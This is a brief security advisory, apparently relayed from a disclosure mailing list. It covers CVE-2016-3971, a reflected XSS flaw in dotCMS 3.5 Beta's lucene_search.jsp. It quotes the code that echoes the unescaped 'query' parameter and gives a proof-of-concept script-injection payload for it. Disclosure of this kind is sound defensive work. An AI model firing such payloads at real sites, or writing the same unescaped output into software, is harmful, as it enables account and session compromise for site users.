[FD] [CVE-2016-3971]DotCMS xss vulnerability

Advisory: DotCMS xss vulnerability Author: Piaox From Pingan Product Safety Group Email: xiongyaofu351@pingan.com.cn Affected Version: dotCMS 3.5 Beta(the latest version) Vulnerability Description lucene_search.jsp 26 String query = request.getParameter("query"); 27 if(!UtilMethods.isSet(query)){ 28 query = ""; 29 } 164

<%= LanguageUtil.get(pageContext, "Query-is") %> : <%=query%>

POC && EXP http://ift.tt/22jmmtN query=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&offset=0&limit=20&sort=&userid=

Source: Gmail -> IFTTT-> Blogger